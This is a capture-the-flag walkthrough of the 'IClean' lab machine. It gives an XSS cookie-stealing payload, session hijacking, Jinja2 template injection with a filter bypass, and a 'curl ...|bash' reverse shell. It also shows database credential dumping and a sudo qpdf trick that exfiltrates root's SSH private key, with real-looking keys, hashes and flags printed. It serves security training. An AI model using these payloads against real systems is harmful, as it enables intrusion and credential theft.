IClean
Recon
└─$ grep clean /etc/hosts
10.10.11.12 capiclean.htb
HTTP (80)

We have few pages to browse
Choose page gives us option to get a quote, form usually means we can inject something

XSS
After sending the email we get message that our email will be seen by management team

I first tried XSS on email
field, but it didn't work. After trying it on different field like service
we got a callback
Payload:
<img src='http://10.10.16.74/' onerror='fetch("http://10.10.16.74?c="+document.cookie)' />

10.10.11.12 - - [01/Aug/2024 00:31:03] "GET /?session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqsI1Q.5kq0xb1x-X0KbJFGVLS_4qCWbyw HTTP/1.1" 200 -
Assign the cookie to your session to become the user whose cookie we stole.
First I tried going to Login, but it didn't redirect me to anywhere. Without directory enumeration I tried Dashboard and we got in, as it is one of the most common endpoint after login.
/dashboard
/dashboard

Generate Invoice ->
Invoice ID generated: 2141786019
Generate QR -> Generate QR using Invoice ID ->

Submit link and get report:

SSTI
The generated report comes from Python server, so SSTI is somewhat guaranteed

Automate the QR shinanigans:
from PIL import Image
from io import BytesIO
from pyzbar.pyzbar import decode
import requests
from bs4 import BeautifulSoup as BS
def decode_qr(url: str) -> str:
return decode(Image.open(BytesIO(requests.get(url).content)))[0].data.decode()
def get_fields(url: str) -> str:
html = BS(requests.get(url).text, 'html.parser')
service = html.find_all('tr')[1].text.strip()
project = html.find('div', {'id': 'project'}).text
return f'{service}\n{project}'
class Routes:
BASE = 'http://capiclean.htb'
INVOICE = BASE + '/InvoiceGenerator'
QR = BASE + '/QRGenerator'
COOKIES = dict(
session='eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqsI1Q.5kq0xb1x-X0KbJFGVLS_4qCWbyw'
)
with requests.Session() as session:
payload = {
'selected_service': '{{7*7}}',
'qty': '{{6*6}}',
'project': '{{5*5}}',
'client': '{{4*4}}',
'address': '{{3*3}}',
'email-address': '{{2*2}}',
'price': 'uwu'
}
resp = session.post(Routes.INVOICE, data=payload, cookies=COOKIES)
invoice_id = BS(resp.text, 'html.parser').find('h1').text.split()[-1]
payload = {
'form_type': 'invoice_id',
'invoice_id': invoice_id
}
resp = session.post(Routes.QR, data=payload, cookies=COOKIES)
qr_url = BS(resp.text, 'html.parser').find('div', class_='qr-link').find('a')['href']
invoice_url = decode_qr(qr_url)
print(f'Invoice: {invoice_url}')
fields = get_fields(invoice_url)
print(fields)
But it's not successful, nor was XSS
└─$ py qr.py
Invoice: http://capiclean.htb/QRInvoice/invoice_3679138642.html
Workmanship
$39.99
10
$399.99
PROJECT 55
CLIENT 44
ADDRESS 33
EMAIL 22
Any special character is filtered out right away.
QR Link
Inspecting the url we see qr_link
variable and then qr-code
html element rendered as base64 image

Fuzz the parameter and it gets reflected:

Performing SSTI on the qr_link
is successful!

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python
After some fuzzing we determine that application doesn't like __
in the parameter
Crash: {{ cycler.__init__.__globals__.os.popen('id').read() }}
Good: {{cycler}}
Crash: {{cycler.__init__}}
Crash: {{cycler|attr('__init__')}}
Good: {{cycler|attr('_''_init_''_')}}
{% end_raw %}

Test script: src
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if c := request.args.get('c'):
try:
if '__' in c or '.' in c: return 'NEEEEEE'
else: return render_template_string(c)
except Exception as e: return str(e)
else: return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run(host='0.0.0.0')
.
was also blocked, which made the injection a bit harder
{{cycler|attr('_''_init_''_')|attr('_''_globals_''_')|attr('_''_getitem_''_')('_''_builtins_''_')|attr('_''_getitem_''_')('_''_import_''_')('os')|attr('popen')("curl+10.10.14.37/rev|bash")}}
Reverse Shell (www-data)
└─$ listen
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.12:40186.
bash: cannot set terminal process group (1244): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ cat app.py
...
import pymysql
...
# Database Configuration
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}
...
www-data@iclean:/opt/app$ ls /home
consuela
www-data@iclean:/opt/app$ mysql -u iclean -p'pxCsmnGLckUb' -e 'SHOW DATABASES;'
Database
capiclean
information_schema
performance_schema
www-data@iclean:/opt/app$ mysql -u iclean -p'pxCsmnGLckUb' capiclean -e 'SHOW TABLES;'
Tables_in_capiclean
quote_requests
services
users
www-data@iclean:/opt/app$ mysql -u iclean -p'pxCsmnGLckUb' capiclean -e 'SELECT * FROM users;'
id username password role_id
1 admin 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 21232f297a57a5a743894a0e4a801fc3
2 consuela 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa ee11cbb19052e40b07aac0ca060c23ee

Creds: consuela:simple and clean
SSH (22)
User.txt
consuela@iclean:~$ cat user.txt
a6fbf50e9e23838f9af7701139dbc25a
Privilege Escalation
consuela@iclean:~$ sudo -l
Matching Defaults entries for consuela on iclean:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User consuela may run the following commands on iclean:
(ALL) /usr/bin/qpdf
GTFOBins didn't have this binary, so look into the official docs: https://qpdf.readthedocs.io/en/stable/cli.html
consuela@iclean:~$ sudo /usr/bin/qpdf --empty /home/consuela/id_rsa --qdf --add-attachment /root/.ssh/id_rsa --
consuela@iclean:~$ grep -Poz '(?s)----.*----\n' id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
└─$ ssh root@10.10.11.12 -i root.id_rsa
root@iclean:~# id
uid=0(root) gid=0(root) groups=0(root)
Root.txt
root@iclean:~# cat root.txt
e33a194e6f9375a86e75952e3af69873
Root scripts
root@iclean:~# cat scripts/cleanup.sh
/usr/bin/mysql -h localhost -u iclean --password='pxCsmnGLckUb' -D capiclean < /root/scripts/cleanup.sql
/usr/bin/rm /opt/app/templates/invoice_*.html
/usr/bin/rm /opt/app/static/qr_code/qr_code*
/usr/bin/rm /opt/app/templates/temporary.html
root@iclean:~# cat scripts/cleanup.sql
TRUNCATE TABLE capiclean.users; INSERT IGNORE INTO capiclean.users (id, username, password, role_id) VALUES("1", "admin", sha2("KQNdIDw9nHyGNdQcKQNdIDw9nHyGNdQc", 256), md5("admin")); INSERT IGNORE INTO capiclean.users (id, username, password, role_id) VALUES("2", "consuela", sha2("simple and clean", 256), md5("user"));
TRUNCATE TABLE capiclean.quote_requests;
TRUNCATE TABLE capiclean.services;
insert into capiclean.services (service_id, service_name, service_description, service_price, service_qty) VALUES ("1", "Basic Cleaning", "This service includes basic cleaning tasks such as dusting, vacuuming, mopping, and cleaning of surfaces. It's ideal for a quick clean-up of your home or office.", "137.00", "89");
...
Last updated